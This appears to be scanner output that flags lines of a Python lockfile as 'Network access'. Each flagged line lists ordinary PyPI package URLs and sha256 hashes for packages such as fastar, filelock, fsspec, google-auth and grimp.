{ url = "https://files.pythonhosted.org/packages/69/ca/dee04476ae3626b2b040a60ad84628f77e1ffd8444232f2426b0ca1e0d7e/fastar-0.11.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:eddfd9cab16e19ae247fe44bf992cb403ccfe27d3931d6de29a4695d95a - Network accessline 662
{ url = "https://files.pythonhosted.org/packages/dc/5e/9395c7353d079cb4f5be0f7982ce0dc9f2e7dec5fd175eef466729d6023a/fastar-0.11.0-cp314-cp314-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:7c371f1d4386c699018bb64eb2fa785feacf32 - Network accessline 663
{ url = "https://files.pythonhosted.org/packages/fa/ba/1e4f67148223ff219612b6281a6000357abbcc2417964fa5c83f11d68fce/fastar-0.11.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cad7fa41e3e66554387481c1a09365e4 - Network accessline 664
{ url = "https://files.pythonhosted.org/packages/0f/82/09d11fb6d12f17993ffaf32ffd30c3c121a11e2966e84f19fb6f66430118/fastar-0.11.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:cf36652fa71b83761717c9899b98732498 - Network accessline 665
{ url = "https://files.pythonhosted.org/packages/52/1f/5aeeacc4cb65615e2c9292cd9c5b0cd6fb6d2e6ee472ca6adc6c1b1b22ef/fastar-0.11.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f68ff8c17833053da4841720e95edde8 - Network accessline 666
{ url = "https://files.pythonhosted.org/packages/bb/1a/1e5bdabbeaf2e856928956292609f2ff6a650f94480fb8afaca30229e483/fastar-0.11.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4563ed37a12ea1cdc398af8571258d24b988 - Network accessline 667
{ url = "https://files.pythonhosted.org/packages/87/24/f960147910da3bed41a3adfcb026e17d5f50f4cf467a3324237a7088f61a/fastar-0.11.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cee63c9875cba3b70dc44338c560facc5d - Network accessline 668
{ url = "https://files.pythonhosted.org/packages/cc/f4/3e77d7901d5707fd7f8a352e153c8ae09ea974e6fabad0b7c4eb9944b8d4/fastar-0.11.0-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:bd76bfffae6d0a91f4ac4a612f721e7aec108db97dccdd120ae063 - Network accessline 669
{ url = "https://files.pythonhosted.org/packages/47/01/1585edd5ec47782ae93cd94edf05828e0ab02ef00aec00aea4194a600464/fastar-0.11.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8f5b707501ec01c1bc0518f741f01d322e50c9adc19a451aa24f67a - Network accessline 670
{ url = "https://files.pythonhosted.org/packages/f1/e9/6874c9d1236ded565a0bed54b320ac9f165f287b1d89490fb70f9f323c81/fastar-0.11.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:37c0b5a88a657839aad98b0a6c9e4ac4c2c15d6b49c44ee3935c6b08 - Network accessline 671
{ url = "https://files.pythonhosted.org/packages/14/d8/4ab20613ce2983427aee958e39be878dba874aa227c530a845e32429c4f6/fastar-0.11.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:6c55f536c62a6efb180c1af0d5182948bff576bbfe6276e8e1359c9c7d - Network accessline 672
{ url = "https://files.pythonhosted.org/packages/1f/ae/5ac3b7c20ce4b08f011dd2b979f96caabe64f9b10b157f211ea91bdfadca/fastar-0.11.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:3082eeca59e189b9039335862f4c2780c0c8871d656bfdf559db4414 - Network accessline 673
{ url = "https://files.pythonhosted.org/packages/8a/e7/37cd6a1d4e288292170b64e19d79ecce2a7de8bb76790323399a2abc4619/fastar-0.11.0-cp314-cp314-win32.whl", hash = "sha256:b201a0a4e29f9fec2a177e13154b8725ec65ab9f83bd6415483efaa2aa18344b", size - Network accessline 674
{ url = "https://files.pythonhosted.org/packages/ff/1c/795c878b1ee29d79021cf8ed81f18f2b25ccde58453b0d34b9bdc7e025ea/fastar-0.11.0-cp314-cp314-win_amd64.whl", hash = "sha256:868fddb26072a43e870a8819134b9f80ee602931be5a76e6fb873e04da343637", - Network accessline 675
{ url = "https://files.pythonhosted.org/packages/ff/a4/113f104301df8bddcc0b3775b611a30cb7610baa3add933c7ccac9386467/fastar-0.11.0-cp314-cp314-win_arm64.whl", hash = "sha256:3db39c9cc42abb0c780a26b299f24dfbc8be455985e969e15336d70d7b2f833b", - Network accessline 676
{ url = "https://files.pythonhosted.org/packages/5a/a6/5c5f2c2c8e0c63e56a5636ebc7721589c889e94c0092cec7eb28ae7207e6/fastar-0.11.0-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:49c3299dec5e125e7ebaa27545714da9c7391777366015427e0ae62d - Network accessline 677
{ url = "https://files.pythonhosted.org/packages/df/f7/982c01b61f0fc135ad2b16d01e6d0ee53cf8791e68827f5f7c5a65b2e5b1/fastar-0.11.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:3328ed1ed56d31f5198350b17dd60449b8d6b9d47abb4688bab6aef445 - Network accessline 678
{ url = "https://files.pythonhosted.org/packages/2b/c3/38f1dac77ae0c71c37b176277c96d830796b8ce2fe69705f917829b53829/fastar-0.11.0-cp314-cp314t-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:bd3eca3bbfec84a614bcb4143b4ad4f784d08 - Network accessline 679
{ url = "https://files.pythonhosted.org/packages/6e/f0/e69c363bdb3e5a5848e937b662b5469581ee6682c51bc1c0556494773929/fastar-0.11.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ff86a967acb0d621dd24063dda090da - Network accessline 680
{ url = "https://files.pythonhosted.org/packages/3b/29/4d8737590c2a6357d614d7cc7288e8f68e7e449680b8922997cc4349e65e/fastar-0.11.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:86eaf7c0e985d93a7734168be2fb232b2 - Network accessline 681
{ url = "https://files.pythonhosted.org/packages/bb/ec/400de7b3b7d48801908f19cf5462177104395799472671b3e8152b2b04ca/fastar-0.11.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91f07b0b8eb67e2f177733a1f884eda - Network accessline 682
{ url = "https://files.pythonhosted.org/packages/5d/01/8926c53da923fed7ab4b96e7fbf7f73b663beb4f02095b654d6fab46f9ad/fastar-0.11.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f85c896885eb4abf1a635d54dea22cac6ae - Network accessline 683
{ url = "https://files.pythonhosted.org/packages/89/f0/5fef4c7946e352651b504b1a4235dac3505e7cfd24020788ab50552e84bf/fastar-0.11.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:075c07095c8de4b774ba8f28b9c0a02b1 - Network accessline 684
{ url = "https://files.pythonhosted.org/packages/b3/c8/0ebc3298b4a45e7bddc50b169ae6a6f5b80c939394d4befe6e60de535ee7/fastar-0.11.0-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:07f028933820c65750baf3383b807ecce1cd9385cf00ce192b79d - Network accessline 685
{ url = "https://files.pythonhosted.org/packages/ae/9f/7baa4cdff8d6fbca41fa5c764b48a941fed8a9ec6c4cc92de65895a28299/fastar-0.11.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:039f875efa0f01fa43c20bf4e2fc7305489c61d0ac76eda991acfb - Network accessline 686
{ url = "https://files.pythonhosted.org/packages/d4/dc/1ebbfb58a47056ba866494f19efbcdd2ba2897096b94f36e796594b4d05b/fastar-0.11.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:fff12452a9a5c6814a012445f26365541cc3d99dcca61f09762e6a3 - Network accessline 687
{ url = "https://files.pythonhosted.org/packages/c2/5f/ce4e3914066f08c99eb8c32952cc07c1a013e81b1db1b0f598130bf6b974/fastar-0.11.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:2bf733e09f942b6fa876efe30a90508d1f4caef5630c00fb2a84fba35 - Network accessline 688
{ url = "https://files.pythonhosted.org/packages/03/2a/6bca72992c84151c387cc6558f3867f5ebe5fb3684ee6fa9b76280ba4b8e/fastar-0.11.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:d1531fa848fdd3677d2dce0a4b436ea64d9ae38fb8babe2ddbc180d - Network accessline 689
{ url = "https://files.pythonhosted.org/packages/83/18/7a7c15657a3da5569b26fc51cde6a80f8d84cb54b3b1aea6d74a103db4ad/fastar-0.11.0-cp314-cp314t-win32.whl", hash = "sha256:5744551bc67c6fc6581cbd0e34a0fd6e2cd0bd30b43e94b1c3119cf35064b162", siz - Network accessline 690
{ url = "https://files.pythonhosted.org/packages/6d/d8/331b59a6de279f3ad75c10c02c40a12f21d64a437d9c3d6f1af2dcbd7a76/fastar-0.11.0-cp314-cp314t-win_amd64.whl", hash = "sha256:f4ce44e3b56c47cf38244b98d29f269b259740a580c47a2552efa5b96a5458fb", - Network accessline 691
{ url = "https://files.pythonhosted.org/packages/6b/fd/5390ec4f49100f3ecb9968a392f9e6d039f1e3fe0ecd28443716ff01e589/fastar-0.11.0-cp314-cp314t-win_arm64.whl", hash = "sha256:76c1359314355eafbc6989f20fb1ad565a3d10200117923b9da765a17e2f6f11", - Network accessline 695
name = "filelock" version = "3.29.0" source = { registry = "https://pypi.org/simple" } - Network accessline 696
version = "3.29.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/b5/fe/997687a931ab51049acce6fa1f23e8f01216374ea81374ddee763c493db5/filelock-3.29.0.tar.gz", hash = "sha256:6997435 - Network accessline 697
source = { registry = "https://pypi.org/simple" } - Network accessline 698
sdist = { url = "https://files.pythonhosted.org/packages/b5/fe/997687a931ab51049acce6fa1f23e8f01216374ea81374ddee763c493db5/filelock-3.29.0.tar.gz", hash = "sha256:69974355e960702e789734cb4871f884ea6fe50bd8404051a3530bc07809cf90", size = 57 - Network accessline 699
wheels = [ { url = "https://files.pythonhosted.org/packages/81/47/dd9a212ef6e343a6857485ffe25bba537304f1913bdbed446a23f7f592e1/filelock-3.29.0-py3-none-any.whl", hash = "sha256:96f5f6344709aa1572bbf631c640e4ebeeb519e08da902c39a001882f30 - Network accessline 700
{ url = "https://files.pythonhosted.org/packages/81/47/dd9a212ef6e343a6857485ffe25bba537304f1913bdbed446a23f7f592e1/filelock-3.29.0-py3-none-any.whl", hash = "sha256:96f5f6344709aa1572bbf631c640e4ebeeb519e08da902c39a001882f30ac258", size = - Network accessline 704
name = "flatbuffers" version = "25.12.19" source = { registry = "https://pypi.org/simple" } - Network accessline 705
version = "25.12.19" source = { registry = "https://pypi.org/simple" } wheels = [ - Network accessline 706
source = { registry = "https://pypi.org/simple" } - Network accessline 707
wheels = [ { url = "https://files.pythonhosted.org/packages/e8/2d/d2a548598be01649e2d46231d151a6c56d10b964d94043a335ae56ea2d92/flatbuffers-25.12.19-py2.py3-none-any.whl", hash = "sha256:7634f50c427838bb021c2d66a3d1168e9d199b0607e6329399 - Network accessline 708
{ url = "https://files.pythonhosted.org/packages/e8/2d/d2a548598be01649e2d46231d151a6c56d10b964d94043a335ae56ea2d92/flatbuffers-25.12.19-py2.py3-none-any.whl", hash = "sha256:7634f50c427838bb021c2d66a3d1168e9d199b0607e6329399f04846d42e20b4" - Network accessline 712
name = "fsspec" version = "2026.9.0" source = { registry = "https://pypi.org/simple" } - Network accessline 713
version = "2026.9.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/77/cd/9be253869fc42e764de7f3dedd6969af7d44ff9c3375214a3442a6f3fc08/fsspec-2026.9.0.tar.gz", hash = "sha256:0f081 - Network accessline 714
source = { registry = "https://pypi.org/simple" } - Network accessline 715
sdist = { url = "https://files.pythonhosted.org/packages/77/cd/9be253869fc42e764de7f3dedd6969af7d44ff9c3375214a3442a6f3fc08/fsspec-2026.9.0.tar.gz", hash = "sha256:0f08147951c8cb31d844c3547d631053b127863b60be04cf06e121333ee0e2fe", size = 33 - Network accessline 716
wheels = [ { url = "https://files.pythonhosted.org/packages/6c/c0/a98505f18594f1bce828bb159cec0fcf9860562f1a2c85913409fc8f3d9e/fsspec-2026.9.0-py3-none-any.whl", hash = "sha256:8dd6e646e99ea382bd85f97a45e6b526a442d79423a7dc673f1e2756d05 - Network accessline 717
{ url = "https://files.pythonhosted.org/packages/6c/c0/a98505f18594f1bce828bb159cec0fcf9860562f1a2c85913409fc8f3d9e/fsspec-2026.9.0-py3-none-any.whl", hash = "sha256:8dd6e646e99ea382bd85f97a45e6b526a442d79423a7dc673f1e2756d05fcb5f", size = - Network accessline 721
name = "google-api-core" version = "2.30.3" source = { registry = "https://pypi.org/simple" } - Network accessline 722
version = "2.30.3" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 723
source = { registry = "https://pypi.org/simple" } - Network accessline 729
{ name = "requests" }, ] sdist = { url = "https://files.pythonhosted.org/packages/16/ce/502a57fb0ec752026d24df1280b162294b22a0afb98a326084f9a979138b/google_api_core-2.30.3.tar.gz", hash = "sha256:e601a37f148585319b26db36e219df68c5d07b6382cf - Network accessline 730
] sdist = { url = "https://files.pythonhosted.org/packages/16/ce/502a57fb0ec752026d24df1280b162294b22a0afb98a326084f9a979138b/google_api_core-2.30.3.tar.gz", hash = "sha256:e601a37f148585319b26db36e219df68c5d07b6382cff2d580e83404e44d641b", - Network accessline 731
sdist = { url = "https://files.pythonhosted.org/packages/16/ce/502a57fb0ec752026d24df1280b162294b22a0afb98a326084f9a979138b/google_api_core-2.30.3.tar.gz", hash = "sha256:e601a37f148585319b26db36e219df68c5d07b6382cff2d580e83404e44d641b", si - Network accessline 732
wheels = [ { url = "https://files.pythonhosted.org/packages/03/15/e56f351cf6ef1cfea58e6ac226a7318ed1deb2218c4b3cc9bd9e4b786c5a/google_api_core-2.30.3-py3-none-any.whl", hash = "sha256:a85761ba72c444dad5d611c2220633480b2b6be2521eca69cca2 - Network accessline 733
{ url = "https://files.pythonhosted.org/packages/03/15/e56f351cf6ef1cfea58e6ac226a7318ed1deb2218c4b3cc9bd9e4b786c5a/google_api_core-2.30.3-py3-none-any.whl", hash = "sha256:a85761ba72c444dad5d611c2220633480b2b6be2521eca69cca2dbb3ffd6bfe8", - Network accessline 737
name = "google-api-python-client" version = "2.196.0" source = { registry = "https://pypi.org/simple" } - Network accessline 738
version = "2.196.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 739
source = { registry = "https://pypi.org/simple" } - Network accessline 745
{ name = "uritemplate" }, ] sdist = { url = "https://files.pythonhosted.org/packages/6d/f3/34ef8aca7909675fe327f96c1ed927f0520e7acf68af19157e96acc05e76/google_api_python_client-2.196.0.tar.gz", hash = "sha256:9f335d38f6caaa2747bcf64335ed1a9 - Network accessline 746
] sdist = { url = "https://files.pythonhosted.org/packages/6d/f3/34ef8aca7909675fe327f96c1ed927f0520e7acf68af19157e96acc05e76/google_api_python_client-2.196.0.tar.gz", hash = "sha256:9f335d38f6caaa2747bcf64335ed1a9a19047d53e86538eda6a1b17d3 - Network accessline 747
sdist = { url = "https://files.pythonhosted.org/packages/6d/f3/34ef8aca7909675fe327f96c1ed927f0520e7acf68af19157e96acc05e76/google_api_python_client-2.196.0.tar.gz", hash = "sha256:9f335d38f6caaa2747bcf64335ed1a9a19047d53e86538eda6a1b17d37f - Network accessline 748
wheels = [ { url = "https://files.pythonhosted.org/packages/99/c7/1817b4edf966d5afcac1c0781ca36d621bc0cb58104c4e7c2a475ab185f7/google_api_python_client-2.196.0-py3-none-any.whl", hash = "sha256:2591e9b47dcb17e4e62a09370aaee3bcf323af8f28 - Network accessline 749
{ url = "https://files.pythonhosted.org/packages/99/c7/1817b4edf966d5afcac1c0781ca36d621bc0cb58104c4e7c2a475ab185f7/google_api_python_client-2.196.0-py3-none-any.whl", hash = "sha256:2591e9b47dcb17e4e62a09370aaee3bcf323af8f28ccecdabcd0a42a2 - Network accessline 753
name = "google-auth" version = "2.53.0" source = { registry = "https://pypi.org/simple" } - Network accessline 754
version = "2.53.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 755
source = { registry = "https://pypi.org/simple" } - Network accessline 758
{ name = "pyasn1-modules" }, ] sdist = { url = "https://files.pythonhosted.org/packages/c6/ad/ff781329bbbdc0974a098d996e89c9e1f7024262f9e3eec442fbb9ad1ac6/google_auth-2.53.0.tar.gz", hash = "sha256:e7e6aa16f6bee7b2b264830fd04f08087a1d5a836d - Network accessline 759
] sdist = { url = "https://files.pythonhosted.org/packages/c6/ad/ff781329bbbdc0974a098d996e89c9e1f7024262f9e3eec442fbb9ad1ac6/google_auth-2.53.0.tar.gz", hash = "sha256:e7e6aa16f6bee7b2b264830fd04f08087a1d5a836df516251a5d15327b246c9c", size - Network accessline 760
sdist = { url = "https://files.pythonhosted.org/packages/c6/ad/ff781329bbbdc0974a098d996e89c9e1f7024262f9e3eec442fbb9ad1ac6/google_auth-2.53.0.tar.gz", hash = "sha256:e7e6aa16f6bee7b2b264830fd04f08087a1d5a836df516251a5d15327b246c9c", size = - Network accessline 761
wheels = [ { url = "https://files.pythonhosted.org/packages/4a/c9/db44165ba7c581268c6d46017ef63339110378305062830104fc7fa144cb/google_auth-2.53.0-py3-none-any.whl", hash = "sha256:6e7449917c599b35126a99ec268ec6880301f2fea41dce198fe8fd83 - Network accessline 762
{ url = "https://files.pythonhosted.org/packages/4a/c9/db44165ba7c581268c6d46017ef63339110378305062830104fc7fa144cb/google_auth-2.53.0-py3-none-any.whl", hash = "sha256:6e7449917c599b35126a99ec268ec6880301f2fea41dce198fe8fd83ff642b68", size - Network accessline 766
name = "google-auth-httplib2" version = "0.4.0" source = { registry = "https://pypi.org/simple" } - Network accessline 767
version = "0.4.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 768
source = { registry = "https://pypi.org/simple" } - Network accessline 771
{ name = "httplib2" }, ] sdist = { url = "https://files.pythonhosted.org/packages/1c/b3/f192c8bc7e41e0ebdbd95afcae4783417a34b6a6af62d22daf22c3fd38fc/google_auth_httplib2-0.4.0.tar.gz", hash = "sha256:d5b030a204b7a4b4d553ba9ca701b62481ee2b74 - Network accessline 772
] sdist = { url = "https://files.pythonhosted.org/packages/1c/b3/f192c8bc7e41e0ebdbd95afcae4783417a34b6a6af62d22daf22c3fd38fc/google_auth_httplib2-0.4.0.tar.gz", hash = "sha256:d5b030a204b7a4b4d553ba9ca701b62481ee2b74419325580be70f7d85ffed3 - Network accessline 773
sdist = { url = "https://files.pythonhosted.org/packages/1c/b3/f192c8bc7e41e0ebdbd95afcae4783417a34b6a6af62d22daf22c3fd38fc/google_auth_httplib2-0.4.0.tar.gz", hash = "sha256:d5b030a204b7a4b4d553ba9ca701b62481ee2b74419325580be70f7d85ffed35" - Network accessline 774
wheels = [ { url = "https://files.pythonhosted.org/packages/97/be/954c35a62b9e31de66b0a43c225c9b6bb9e0f98d6b1dc110a2308e3644f5/google_auth_httplib2-0.4.0-py3-none-any.whl", hash = "sha256:8e55cfafa3358cba85f6cad4a886138e88e158d71e7e5c9e - Network accessline 775
{ url = "https://files.pythonhosted.org/packages/97/be/954c35a62b9e31de66b0a43c225c9b6bb9e0f98d6b1dc110a2308e3644f5/google_auth_httplib2-0.4.0-py3-none-any.whl", hash = "sha256:8e55cfafa3358cba85f6cad4a886138e88e158d71e7e5c9ee5936a5c1507fb9 - Network accessline 779
name = "google-auth-oauthlib" version = "1.4.0" source = { registry = "https://pypi.org/simple" } - Network accessline 780
version = "1.4.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 781
source = { registry = "https://pypi.org/simple" } - Network accessline 784
{ name = "requests-oauthlib" }, ] sdist = { url = "https://files.pythonhosted.org/packages/70/18/90c7fac516e63cf2058166fce0c88c353647c677b51cc036c09c49bb5cbb/google_auth_oauthlib-1.4.0.tar.gz", hash = "sha256:18b5e28880eb8eba9065c436becdc0e - Network accessline 785
] sdist = { url = "https://files.pythonhosted.org/packages/70/18/90c7fac516e63cf2058166fce0c88c353647c677b51cc036c09c49bb5cbb/google_auth_oauthlib-1.4.0.tar.gz", hash = "sha256:18b5e28880eb8eba9065c436becdc0ee8e4b59117a73a510679c82f70cd363d - Network accessline 786
sdist = { url = "https://files.pythonhosted.org/packages/70/18/90c7fac516e63cf2058166fce0c88c353647c677b51cc036c09c49bb5cbb/google_auth_oauthlib-1.4.0.tar.gz", hash = "sha256:18b5e28880eb8eba9065c436becdc0ee8e4b59117a73a510679c82f70cd363d2" - Network accessline 787
wheels = [ { url = "https://files.pythonhosted.org/packages/37/d3/d7dff0d58a9e9244b48044bfb6a898bfcc8ecc42e0031d1bebc695344725/google_auth_oauthlib-1.4.0-py3-none-any.whl", hash = "sha256:251314f213a9ee46a5ae73988e84fd7cca8bb68e7ecf4bfd - Network accessline 788
{ url = "https://files.pythonhosted.org/packages/37/d3/d7dff0d58a9e9244b48044bfb6a898bfcc8ecc42e0031d1bebc695344725/google_auth_oauthlib-1.4.0-py3-none-any.whl", hash = "sha256:251314f213a9ee46a5ae73988e84fd7cca8bb68e7ecf4bfd45940f9e7f51d07 - Network accessline 792
name = "googleapis-common-protos" version = "1.75.0" source = { registry = "https://pypi.org/simple" } - Network accessline 793
version = "1.75.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 794
source = { registry = "https://pypi.org/simple" } - Network accessline 796
{ name = "protobuf" }, ] sdist = { url = "https://files.pythonhosted.org/packages/b5/c8/f439cffde755cffa462bfbb156278fa6f9d09119719af9814b858fd4f81f/googleapis_common_protos-1.75.0.tar.gz", hash = "sha256:53a062ff3c32552fbd62c11fe23768b78e4 - Network accessline 797
] sdist = { url = "https://files.pythonhosted.org/packages/b5/c8/f439cffde755cffa462bfbb156278fa6f9d09119719af9814b858fd4f81f/googleapis_common_protos-1.75.0.tar.gz", hash = "sha256:53a062ff3c32552fbd62c11fe23768b78e4ddf0494d5e5fd97d3f4689c - Network accessline 798
sdist = { url = "https://files.pythonhosted.org/packages/b5/c8/f439cffde755cffa462bfbb156278fa6f9d09119719af9814b858fd4f81f/googleapis_common_protos-1.75.0.tar.gz", hash = "sha256:53a062ff3c32552fbd62c11fe23768b78e4ddf0494d5e5fd97d3f4689c75 - Network accessline 799
wheels = [ { url = "https://files.pythonhosted.org/packages/e7/c8/e2645aa8ed02fd4c7a2f59d68783b65b1f3cbdfe39a6308e156509d1fee8/googleapis_common_protos-1.75.0-py3-none-any.whl", hash = "sha256:961ed60399c457ceb0ee8f285a84c870aabc9c6a832 - Network accessline 800
{ url = "https://files.pythonhosted.org/packages/e7/c8/e2645aa8ed02fd4c7a2f59d68783b65b1f3cbdfe39a6308e156509d1fee8/googleapis_common_protos-1.75.0-py3-none-any.whl", hash = "sha256:961ed60399c457ceb0ee8f285a84c870aabc9c6a832b9d37bb281b5beb - Network accessline 804
name = "grimp" version = "3.17" source = { registry = "https://pypi.org/simple" } - Network accessline 805
version = "3.17" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/ad/2e/95736b7c984705ff5ee376f07c6e71bb80fcbb22c8fa3b8c1cfbfa919d5c/grimp-3.17.tar.gz", hash = "sha256:5161e03c6f518f - Network accessline 806
source = { registry = "https://pypi.org/simple" } - Network accessline 807
sdist = { url = "https://files.pythonhosted.org/packages/ad/2e/95736b7c984705ff5ee376f07c6e71bb80fcbb22c8fa3b8c1cfbfa919d5c/grimp-3.17.tar.gz", hash = "sha256:5161e03c6f518fe4da43b06c97ff49a1e224ecb0e4b9fd6ef48235373d1b7b33", size = 832923, - Network accessline 808
wheels = [ { url = "https://files.pythonhosted.org/packages/63/ba/e2e37adeac007a42b074c9156b3a155692fc5a1a32008fb8385546e5c92f/grimp-3.17-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:7375c3aea01495839360947df321d26dcebd037ef34a6 - Network accessline 809
{ url = "https://files.pythonhosted.org/packages/63/ba/e2e37adeac007a42b074c9156b3a155692fc5a1a32008fb8385546e5c92f/grimp-3.17-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:7375c3aea01495839360947df321d26dcebd037ef34a641627456f23fd91 - Network accessline 810
{ url = "https://files.pythonhosted.org/packages/97/d0/3ac947eb15b7c6fe615e01cdfef8152e8b2509c6d5439f7799fae1ca024c/grimp-3.17-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:c7e75804d1d7f11813082b30a0cd7cf84f553c55d7c1edc28cde23656f1d1a - Network accessline 811
{ url = "https://files.pythonhosted.org/packages/89/df/53d3eb18c3197ae2bb6c8be118026870cb89b2c33f99c7157345bc5e0734/grimp-3.17-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:62f61d14aedfc0df57db6f7bc826df0f77f - Network accessline 812
{ url = "https://files.pythonhosted.org/packages/3e/a7/6615a81f83d8ee31c96b1d8fa9a5d12fceb82acc17a9e71b28768b8185b5/grimp-3.17-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:76b1517920dd93df17f6cf0bb79a1ddf19399 - Network accessline 813
{ url = "https://files.pythonhosted.org/packages/39/60/487bb910bb5092a392f8b23ae8c5fde6d766bfe02e2c7a064ae9a14da30a/grimp-3.17-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8d55d03f5dc704b18fa7da04e7eebcc3b16b998b1 - Network accessline 814
{ url = "https://files.pythonhosted.org/packages/73/52/5a280d6a9154b1f13a0c74082581cb699825535fdc194ae9ebc5d42c2252/grimp-3.17-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:79b0be412bc19bf298290713e5a2b459fe2 - Network accessline 815
{ url = "https://files.pythonhosted.org/packages/ab/5a/5ef678b3f89a887a9e045dbfb5505876678323f8cf5a26f8b98d9ace875a/grimp-3.17-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2c03a30879a80950e268f03e81603b8c51dc141 - Network accessline 816
{ url = "https://files.pythonhosted.org/packages/1e/77/06e46d5682745570d16c051734a7edf7b3c045ad620440f635dbd86447c3/grimp-3.17-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ecf26d99a35ab7b5966af56118bb9344d1fd1 - Network accessline 817
{ url = "https://files.pythonhosted.org/packages/eb/22/c00c7073a0fce1f9494c564e12705b42a1c421a50515dcf7ffd8e1543024/grimp-3.17-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e205949a5fe6b83ac1ea28525bea2b4867f2b230a851e6dfcdfcfcee1e - Network accessline 818
{ url = "https://files.pythonhosted.org/packages/5b/23/f2b0bffa2a62a73ca8736b550161eab2b88f66e6a3c9f7def18310c2d087/grimp-3.17-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:7e2b4d8aebae7142c401231043113910773f289a8d6f9d719273eb719f7 - Network accessline 819
{ url = "https://files.pythonhosted.org/packages/02/54/b4dfc51d8c628f700512953c78656305a21ead767956a7fd7aa46f1021b1/grimp-3.17-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5abd95dc0a8f816d2816e847adb0ab09a7e3571fd0942ea31cf5248505862 - Network accessline 820
{ url = "https://files.pythonhosted.org/packages/b5/60/73c088e1bee1a95a61cc3523abff149b0c211405834ca74996c76e6a3afa/grimp-3.17-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0ae6360f6b4f711abf97b8888c0269de3756ea484c829615e0c567c7bb1 - Network accessline 821
{ url = "https://files.pythonhosted.org/packages/9d/66/0ff96f79bb1c4ffff621f7b50babbea6151fbaad461327af961f1fa2e49e/grimp-3.17-cp312-cp312-win32.whl", hash = "sha256:b1ab648732d03fa2ec4d7619d934409399bf827009c4c50f429c8d0bdd0709fb", size = - Network accessline 822
{ url = "https://files.pythonhosted.org/packages/a7/72/e2544f4ba4f42f7732bdc13d60c344fd9da30eb083eb8cba2e7c155d222e/grimp-3.17-cp312-cp312-win_amd64.whl", hash = "sha256:d10ae67a1ee0af6dee937e032f3acf707741d866a67f3c71e5ec6df3b758e5c0", siz - Network accessline 823
{ url = "https://files.pythonhosted.org/packages/dd/9d/9b2da1ff2951e13b636673814ec7df699660f892f284bf2f3d53e991283c/grimp-3.17-cp312-cp312-win_arm64.whl", hash = "sha256:ff161c9aed2ca3db9bc592157a36914ae8440d8d8f3c6986843dec11523cd700", siz - Network accessline 824
{ url = "https://files.pythonhosted.org/packages/10/7a/b1c76982a239347bfccd2ae95b9f79d3390cd14170f62e7eb822a17d786d/grimp-3.17-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:eb8f09da4302f05fc92fe7564f27731c0b43789d8893ae5e6be5df2b0166 - Network accessline 825
{ url = "https://files.pythonhosted.org/packages/cb/ab/2a1a9574b391c0ee62cb33a633c0d377dce1b7d19d04a7ac5d5e6872d395/grimp-3.17-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0f11566bcf388db4c79f1c7f1051f6ef150f778306350bb7d86d0c9aab32d2 - Network accessline 826
{ url = "https://files.pythonhosted.org/packages/e6/12/7dc086132ac10a2409f158f0b0d7cc528a2ebe0a4e95bca895afe7452fa6/grimp-3.17-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bfda3e2ebb4e51beec4a3cb09bb771440f3 - Network accessline 827
